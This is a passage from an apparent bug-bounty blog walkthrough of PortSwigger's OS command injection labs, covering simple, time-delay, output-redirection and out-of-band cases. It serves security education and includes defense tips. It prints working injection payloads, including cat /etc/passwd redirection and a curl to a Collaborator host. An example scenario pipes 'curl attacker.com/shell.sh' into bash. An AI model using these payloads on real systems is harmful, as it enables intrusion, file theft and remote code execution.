June 23, 2026
Mastering Command Injection: A Complete PortSwigger Web Security Academy Walkthrough for Bug Bounty…
From simple OS command injection to blind, out-of-band, and data-exfiltration techniques — a hands-on journey through all five PortSwigger…

By Nitish Mukhiya
14 min read
From simple OS command injection to blind, out-of-band, and data-exfiltration techniques — a hands-on journey through all five PortSwigger Command Injection labs, with real Burp Suite payloads explained line by line.
Introduction
Command injection is one of the oldest, simplest, and still most devastating vulnerabilities in web application security. While newer vulnerability classes get more attention in security conferences, command injection consistently shows up in real bug bounty programs, CTFs, and penetration tests — because the moment an attacker can run operating system commands on a server, the application layer stops mattering. The attacker now owns the box.
What is Command Injection?
Command injection (also called OS command injection) occurs when a web application passes user-controlled input into a system shell without properly sanitizing it. Many applications call out to the underlying operating system to perform tasks like resizing images, pinging a host, converting files, or running diagnostic utilities. If that call is built by concatenating user input directly into a shell command, an attacker can break out of the intended command and inject their own.
A trivial example: imagine a "Check Stock" feature on an e-commerce site that runs a shell command like this on the backend:
bash
stockreport.pl --productID=381stockreport.pl --productID=381If the productID parameter is taken straight from the user and inserted into that command without validation, an attacker can append shell metacharacters such as ;, |, or ` to chain in their own commands.
Why Command Injection Is So Dangerous
- It typically grants direct code execution on the server, not just data leakage.
- It can be used to read sensitive files, dump credentials, pivot to internal networks, or install backdoors.
- It often goes undetected because the application may not return any visible output (this is called blind command injection), so traditional testing methods miss it.
- It bypasses most input-layer protections that are designed for SQL injection or XSS, because shell metacharacters are different from SQL or HTML syntax.
Why Bug Bounty Hunters and Pentesters Should Master This
Command injection bugs are frequently rewarded as Critical or High severity in bug bounty programs because the impact maps directly to Remote Code Execution (RCE). Hunters who understand the subtle, blind variants of this vulnerability — where there's no direct output to see — have a major edge, because most low-effort scanners only catch the "obvious" cases.
How PortSwigger Web Security Academy Helps
PortSwigger's Web Security Academy is widely regarded as the best free resource for learning web vulnerabilities hands-on. Their OS command injection module includes a structured progression of labs, each one removing a "training wheel" from the previous lab:
- A simple case where output is reflected directly.
- A blind case detected only via time delays.
- A blind case where output must be redirected to a readable file.
- A blind case detected via out-of-band network interactions (DNS/HTTP).
- A blind case where actual data must be exfiltrated out-of-band.
This article walks through all five labs in the order they were solved, using Burp Suite Professional, exactly as captured in the screenshots from this learning session.
Lab 1: OS Command Injection, Simple Case
Lab name (from screenshot): OS command injection, simple case Difficulty: Apprentice Status: Solved ✅
Lab Objective
This is the foundational lab. The target is an online shop. Each product page has a "Check stock" feature that takes a productId and a storeId and returns whether the item is in stock. The goal is to inject an OS command and execute whoami (or similar) so that the result is reflected directly in the HTTP response.
Vulnerability Present
Classic, non-blind OS command injection. The application takes the storeId parameter, inserts it directly into a backend shell command (most likely something like check_stock.sh productId storeId), and returns the command's output back to the browser.
How the Application Behaves
From the screenshot, the product is called "Cheshire Cat Grin," priced at $61.95, accessible via a URL like:
https://0af300f2044d40ce80d730ac004e00a1.web-security-academy.net/product?productId=1https://0af300f2044d40ce80d730ac004e00a1.web-security-academy.net/product?productId=1The "Check stock" feature sends a POST request with storeId and productId parameters. Normally, this returns a simple "in stock" / "out of stock" message — but because the backend executes a shell command using these parameters, any extra shell syntax appended to storeId gets executed too.
Recon Process
- Browse the product catalog and open a product page.
- Use the "Check stock" form and intercept the request in Burp Suite.
- Observe that
storeIdis a numeric value passed straight to the server. - Test by appending a shell metacharacter (e.g.,
&& whoami) to see if the output changes.
Payload Used
Although the exact intercepted request for Lab 1 isn't shown in detail, the classic PortSwigger solution for this lab uses a payload appended to the storeId parameter:
storeId=1||whoami||storeId=1||whoami||Or alternatively:
storeId=1; whoamistoreId=1; whoamiWhy the Payload Works
- || (logical OR in Linux shell) tells the shell: "run the first command; if and only if it fails, run the second command." Since the original command around
storeIdparsing often fails when extra junk is appended, the shell falls through and executeswhoami. - The trailing || is added so that anything appended after the injected command by the application (extra arguments) is treated as a failed command too, and silently ignored.
whoamiis a benign, universally available Linux command that prints the current user — perfect for proving command execution without doing any damage.
Server-Side Impact
The server executes whoami in the context of the web application's process, and PortSwigger's lab design reflects the result directly back into the HTTP response or the rendered page, confirming successful injection.
How the Lab Was Solved
The screenshot shows the solved confirmation banner: "Congratulations, you solved the lab!" on the product page for "Cheshire Cat Grin." This confirms that the injected command executed successfully and its output (the current username) was captured and submitted to satisfy the lab's validation check.
Alternative Payloads
PayloadNotes; whoamiSequential execution regardless of prior command result| whoamiPipes output of previous command into whoami (works even if first command succeeds)&& whoamiRuns only if the previous command succeeds$(whoami)Command substitution — output gets nested inlinewhoamiBacktick substitution — older syntax, same effect
Common Mistakes Beginners Make
- Forgetting to URL-encode special characters when injecting via GET parameters.
- Not checking whether the app uses Linux or Windows syntax before choosing separators.
- Assuming command injection always returns visible output (it often doesn't — see Lab 2 onward).
- Injecting into the wrong parameter (always test every parameter, not just the obvious one).
Understanding the Vulnerability
The root cause is insecure use of shell execution functions (e.g., system(), exec(), popen(), backticks in Perl/Ruby/PHP) where user input is concatenated into the command string instead of being passed as a properly escaped, isolated argument.
Exploitation Process
- Identify a feature that likely triggers backend shell execution (stock checkers, ping tools, image converters, DNS lookup tools).
- Send the request through Burp Repeater.
- Append shell metacharacters to test parameters one at a time.
- Observe response changes — extra output, different status codes, or timing differences.
- Confirm with a benign, identifiable command (
whoami,id,hostname).
Real-World Scenario
A network monitoring dashboard that lets users "ping" a host for connectivity testing is a textbook example. If the hostname field isn't sanitized, an attacker can inject ; cat /etc/passwd and dump system files straight into the response.
Bug Bounty Perspective
- What a hunter looks for: any feature resembling a shell call — diagnostics, file conversion, backup/export utilities, "test connection" buttons, third-party CLI wrappers (ImageMagick, ffmpeg, curl wrappers).
- Severity: Critical (CVSS 9.0+) — direct RCE.
- Impact: Full server compromise, lateral movement, data exfiltration, persistence.
- Example attack scenario: A hunter finds a "generate PDF report" feature that shells out to
wkhtmltopdf <user_supplied_url>. Injecting"; curl attacker.com/shell.sh | bash;"leads to full RCE.
Defense Tips
- Input validation: Reject any input containing shell metacharacters (; | & $ ( ) \ < > newline`) unless explicitly required.
- Allowlists: Validate against a strict allowlist of expected values (e.g., numeric-only
storeId). - Secure coding: Avoid shell invocation entirely; use language-native APIs instead of shelling out.
- Parameterized execution: Use
execve()-style APIs that pass arguments as an array, not a concatenated string (e.g., Python'ssubprocess.run(["ping", "-c", "1", host], shell=False)). - Least privilege: Run the web application as a low-privilege user with no access to sensitive files or commands.
- Monitoring and logging: Alert on unexpected child processes spawned by web server workers.
Key Takeaways
- Command injection happens when user input reaches a shell unsanitized.
whoamiis the go-to proof-of-concept payload.- ||, ;, &&, and
are the primary Linux injection operators. - Always test every parameter, not just the "obvious" one.
Lab 2: Blind OS Command Injection with Time Delays
Lab name (from screenshot): Blind OS command injection with time delays Difficulty: Practitioner Status: Solved ✅
Lab Objective
This lab simulates a feedback form that, behind the scenes, emails the submission using the user-supplied email address as part of a shell command (likely to validate or forward the email). There's no visible output difference — the response always looks the same — so this is a blind vulnerability, detectable only through timing.
Vulnerability Present
Blind OS command injection, exploited via the Linux sleep command to create a measurable time delay, confirming code execution without any reflected output.
How the Application Behaves
The "Submit feedback" page accepts Name, Email, Subject, and Message fields. The screenshot shows the lab already solved, with the confirmation banner displayed above the feedback form on:
https://0abc002403afd24e80042bb600c60012.web-security-academy.net/feedbackhttps://0abc002403afd24e80042bb600c60012.web-security-academy.net/feedbackRecon Process
- Submit a normal feedback form and observe the baseline response time.
- Intercept the POST request in Burp Suite Repeater.
- Inject a
sleepcommand into a likely-processed field — in this case, theemailparameter — and compare response times. - A multi-second delay confirms blind command execution.
Payload Used
From the Burp Repeater screenshot, the exact request body captured was:
csrf=AvW8phwV6nHaH4TPmMUhxKzLlVhTGH5u&name=hello&email=hello%40hello.com||sleep+10||&subject=aladdin&message=aladdin+ka+jaducsrf=AvW8phwV6nHaH4TPmMUhxKzLlVhTGH5u&name=hello&email=hello%40hello.com||sleep+10||&subject=aladdin&message=aladdin+ka+jaduDecoded, the email field contains:
hello@hello.com||sleep 10||hello@hello.com||sleep 10||Why the Payload Works — Line by Line
FragmentExplanationhello@hello.comA syntactically valid email so the app doesn't reject the input at validation stage||Logical OR — if the email-processing command fails or completes, this allows chaining a second command regardless of email formatsleep+10URL-encoded form of sleep 10 — the + represents a space in application/x-www-form-urlencoded bodies. This pauses execution for 10 seconds|| (trailing)Ensures any remaining application-appended text after the injection point also fails harmlessly, without breaking the shell syntax
The response in the screenshot confirms HTTP/2 200 OK returned after the request — but the key evidence (not directly visible in a static screenshot) is the elapsed time shown in Burp's timer, which would read roughly 10+ seconds when the sleep 10 payload executes successfully, versus near-instant for a baseline request.
Server-Side Impact
The server pauses for the specified duration before responding, proving that arbitrary shell commands are being executed even though there's no visible difference in the response body. This is a powerful technique because it doesn't depend on the application reflecting any output back.
How the Lab Was Solved
Once the 10-second delay was confirmed in Burp Repeater, the same payload was submitted through the actual feedback form in the browser, triggering the backend validation check that the lab monitors for command execution timing. The lab status flipped to Solved.
Alternative Payloads
email=x||sleep 10||
email=x;sleep 10;
email=x%0Asleep 10
email=x`sleep 10`
email=x$(sleep 10)email=x||sleep 10||
email=x;sleep 10;
email=x%0Asleep 10
email=x`sleep 10`
email=x$(sleep 10)Common Mistakes Beginners Make
- Forgetting to URL-encode the space in
sleep 10(must becomesleep+10orsleep%2010in form-encoded bodies). - Not establishing a baseline response time before testing — without a baseline, a 10-second delay might be mistaken for normal network latency.
- Using
ping -c 10instead ofsleep 10on Linux targets where ICMP might be blocked, leading to false negatives. - Forgetting that || requires the first command to fail — if the email field is parsed in a way that always succeeds, &&-based payloads will silently not execute.
Understanding the Vulnerability
The root cause is identical to Lab 1 — unsanitized input reaching a shell — but the consequence of insecure design is hidden because the developer never reflects command output back to the user. This is precisely why automated scanners and even manual testers can miss blind command injection if they only look for changes in the response body.
Exploitation Process
- Time a baseline request.
- Inject a
sleep Npayload into each parameter individually. - Measure response time deltas.
- A delta close to N seconds confirms successful blind injection.
- Escalate to out-of-band techniques (Labs 4–5) for full exploitation once delay-based injection is confirmed.
Real-World Scenario
A real-world parallel: many companies route contact-form submissions through an internal email-validation microservice written in a quick shell script that calls a spam-checking CLI tool. If the "from" address is concatenated unsanitized into that shell call, an attacker can use time-based blind injection to confirm RCE before pivoting to full command execution via out-of-band channels.
Bug Bounty Perspective
- What a hunter looks for: forms or APIs where the response is generic/static regardless of input — these are prime blind injection candidates.
- Severity: Critical — blind RCE is just as dangerous as visible RCE, often more dangerous because it survives longer undetected.
- Impact: Full compromise potential, just with a slower detection/exploitation cycle.
- Example attack scenario: A hunter notices a "resend confirmation email" feature always returns the same JSON response. Injecting
sleep 15into the email field and observing a 15-second delay is the first proof of a Critical-severity finding.
Defense Tips
- Apply the same defenses as Lab 1 (allowlisting, parameterized execution, least privilege).
- Timing-attack mitigation: enforce consistent response times for all outcomes where feasible (not a primary defense, but reduces signal).
- Monitoring and logging: flag backend processes with abnormally long execution times tied to user-facing requests.
Key Takeaways
- Blind injection has no visible output — you must infer success through side channels like timing.
sleep Nis the standard payload for time-based detection.- Always establish a timing baseline before drawing conclusions.
- URL-encoding matters: spaces become + or
%20in form bodies.
Lab 3: Blind OS Command Injection with Output Redirection
Lab name (from screenshot): Blind OS command injection with output redirection Difficulty: Practitioner Status: Solved ✅
Lab Objective
This lab again uses the feedback form, but this time the goal is to retrieve the actual output of an injected command, even though the response is still blind (no command output is reflected directly in the HTTP response). The trick: redirect the command's output to a file inside the web root, then fetch that file directly via the browser.
Vulnerability Present
Blind OS command injection with file-based output retrieval, leveraging Linux output redirection (>) to write to a publicly accessible static file path (commonly /var/www/images/).
How the Application Behaves
The target site is an online shop ("We Like to Shop") with products like "Baby Minding Shoes" and "Fur Babies." It has an /image endpoint that serves static files by filename, e.g.:
https://0ac100a9034229b783295fe500eb002a.web-security-academy.net/image?filename=...https://0ac100a9034229b783295fe500eb002a.web-security-academy.net/image?filename=...This endpoint becomes the perfect vehicle to retrieve command output once it's written to disk.
Recon Process
- Confirm blind command injection exists (similar to Lab 2, using
sleepfirst if needed). - Identify a publicly accessible static file-serving path used by the application (here, product images served from
/var/www/images/). - Inject a command that writes its output into that exact directory.
- Request the resulting file directly through the browser to read the output.
Payload Used
From the Burp Repeater screenshot, the captured request body was:
csrf=PmWw0pA6ubvYvYNfNVWxKT00eps1SHjz&name=helloo&email=||whoami>/var/www/images/file.txt||&subject=aladdin&message=mtlb+kuchh+bhi+csrf=PmWw0pA6ubvYvYNfNVWxKT00eps1SHjz&name=helloo&email=||whoami>/var/www/images/file.txt||&subject=aladdin&message=mtlb+kuchh+bhi+The key injected fragment in the email field:
||whoami>/var/www/images/file.txt||||whoami>/var/www/images/file.txt||Why the Payload Works — Line by Line
FragmentExplanation||Forces execution of the next command regardless of whether the original email-handling command failedwhoamiThe command whose output we want to capture>Linux output redirection operator — sends stdout of whoami into a file, overwriting it if it exists/var/www/images/file.txtThe absolute path to the web root's image directory — chosen because this directory is already served publicly by the /image?filename= endpoint|| (trailing)Cleans up trailing application syntax so the shell doesn't throw a fatal parse error
Server-Side Impact
The server executes whoami, and instead of discarding the output (as it would by default), the > operator writes that output directly into a file sitting inside the application's static file-serving directory. This converts a blind, output-less vulnerability into one with a readable result — without needing any network callback infrastructure.
How the Lab Was Solved
After sending the payload, the next step was to retrieve the file:
https://0ac100a9034229b783295fe500eb002a.web-security-academy.net/image?filename=file.txthttps://0ac100a9034229b783295fe500eb002a.web-security-academy.net/image?filename=file.txtThe screenshot confirms the file was successfully fetched and rendered in the browser, displaying the text:
peter-LxuVYBpeter-LxuVYBThis is the lab's randomly generated "username" string, proving that the whoami command executed on the server and its output was successfully exfiltrated via the file system. The lab subsequently shows the Solved banner on the shop's homepage.
Alternative Payloads
email=||whoami>/var/www/images/output.txt||
email=||id>/var/www/images/output.txt||
email=||ls -la /etc>/var/www/images/output.txt||
email=||cat /etc/passwd>/var/www/images/output.txt||email=||whoami>/var/www/images/output.txt||
email=||id>/var/www/images/output.txt||
email=||ls -la /etc>/var/www/images/output.txt||
email=||cat /etc/passwd>/var/www/images/output.txt||Common Mistakes Beginners Make
- Writing to a directory that isn't actually served statically by the app — always confirm the exact static file path first (check existing image URLs in the page source).
- Forgetting that > overwrites the file — using >> would append, which is sometimes preferable when reusing the same filename across multiple tests.
- Not URL-encoding the > character correctly when needed in some contexts (Burp handles this automatically when typing into the body, but manual crafting requires
%3E). - Choosing a filename that collides with an existing legitimate file, accidentally corrupting it.
Understanding the Vulnerability
This is fundamentally the same root cause as the prior labs — unsanitized shell concatenation — but it demonstrates an important exploitation technique rather than a new vulnerability class: turning a blind vulnerability into a semi-interactive one by abusing the filesystem and an existing static-file-serving feature.
Exploitation Process
- Confirm blind injection via timing (Lab 2 technique).
- Discover a static file-serving endpoint and its underlying directory.
- Redirect command output into that directory using >.
- Fetch the resulting file via the browser or
curl. - Read the output to extract sensitive data, usernames, file listings, or configuration content.
Real-World Scenario
Many real-world CMS or e-commerce platforms store uploaded media in a predictable, publicly accessible directory (e.g., /wp-content/uploads/, /static/images/). If a backend process (like a thumbnail generator) is vulnerable to injection, an attacker can redirect command output into that same directory and retrieve it without needing any external server — making this attack entirely self-contained and stealthy.
Bug Bounty Perspective
- What a hunter looks for: any combination of (a) a blind injection point and (b) a static file-serving feature with a predictable, writable path.
- Severity: Critical — full data exfiltration capability with no external infrastructure required.
- Impact: Reading arbitrary files, dumping environment variables, source code disclosure, credential leakage.
- Example attack scenario: A hunter finds a vulnerable "export to PDF" microservice that writes generated files to
/srv/app/public/exports/. By redirectingcat /app/config/database.ymlinto that folder and fetching it, the hunter extracts database credentials — a textbook Critical finding.
Defense Tips
- Never allow user input into commands that interact with the filesystem in dynamically constructed paths.
- Separate the web root from any directory where command output, logs, or temp files are stored.
- Apply strict file permissions so the web server process cannot write into publicly served directories.
- Use Web Application Firewalls (WAFs) to detect output-redirection patterns like >, >> combined with shell metacharacters.
- Regularly audit which directories are publicly reachable via static file routes.
Key Takeaways
- Output redirection (>) converts a blind vulnerability into a readable one — no network egress needed.
- Always map out static file-serving endpoints during recon; they're a built-in exfiltration channel.
whoami,id, andcat /etc/passwdremain the gold-standard proof-of-concept commands.- Filesystem-based exfiltration is stealthier than network-based exfiltration since it stays within normal HTTP traffic.
Lab 4: Blind OS Command Injection with Out-of-Band Interaction
Lab name (from screenshot): Blind OS command injection with out-of-band interaction Difficulty: Practitioner Status: Solved ✅
Lab Objective
This lab removes the convenience of a predictable, writable static directory. Instead, the goal is to prove command execution using Burp Collaborator, PortSwigger's out-of-band (OOB) interaction service, by triggering a DNS lookup from the vulnerable server to an attacker-controlled domain.
Vulnerability Present
Blind OS command injection confirmed via out-of-band DNS/HTTP interaction — the most reliable detection technique for fully blind injection points where there is no time-based or file-based feedback channel available (or where you simply want unambiguous proof).
How the Application Behaves
Same feedback form pattern as previous labs, hosted at:
https://0ac900f3044830d180574ef800dd00cc.web-security-academy.net/feedbackhttps://0ac900f3044830d180574ef800dd00cc.web-security-academy.net/feedbackThe form requires Name, Email, Subject, and Message, with client-side validation enforcing required fields (the screenshot shows a "Please fill out this field" tooltip on an empty Email field, confirming standard HTML5 form validation is present).
Recon Process
- Open Burp Suite's Collaborator tab and generate a unique payload domain (e.g.,
cdtz9vh1bbwqr4venhkxazmmodu4iu6j.oastify.com). - Inject a command into the
emailparameter that forces the server to make a DNS/HTTP request to that Collaborator subdomain. - Poll the Collaborator tab for incoming interactions.
Payload Used
From the Burp Repeater screenshot, the captured request body was:
csrf=1A645IbYZbIZz7Jxbl4knrAo9ZqrwLwC&name=hello&email=hello%40hello.com||curl+cdtz9vh1bbwqr4venhkxazmmodu4iu6j.oastify.com||&subject=aladdin&message=mtlb+kuchh+bhi+csrf=1A645IbYZbIZz7Jxbl4knrAo9ZqrwLwC&name=hello&email=hello%40hello.com||curl+cdtz9vh1bbwqr4venhkxazmmodu4iu6j.oastify.com||&subject=aladdin&message=mtlb+kuchh+bhi+The key injected fragment in email:
hello@hello.com||curl cdtz9vh1bbwqr4venhkxazmmodu4iu6j.oastify.com||hello@hello.com||curl cdtz9vh1bbwqr4venhkxazmmodu4iu6j.oastify.com||Why the Payload Works — Line by Line
FragmentExplanationhello@hello.comValid-looking email prefix to pass any naive format checks||Ensures the injected command runs regardless of the original command's success/failurecurl cdtz9vh1bbwqr4venhkxazmmodu4iu6j.oastify.comForces the vulnerable server to make an outbound HTTP request (and a DNS resolution as a prerequisite) to the unique Collaborator subdomain|| (trailing)Suppresses errors from leftover application-appended syntax
Server-Side Impact
The vulnerable server resolves the Collaborator domain via DNS and then issues an HTTP GET request to it using curl. Both interactions are captured by Burp Collaborator. The screenshot of the Collaborator tab confirms:
- 5 interactions logged: 4 DNS lookups (type A) and 1 HTTP request, all referencing the payload
cdtz9vh1bbwqr4venhkxazmmodu4iu6j.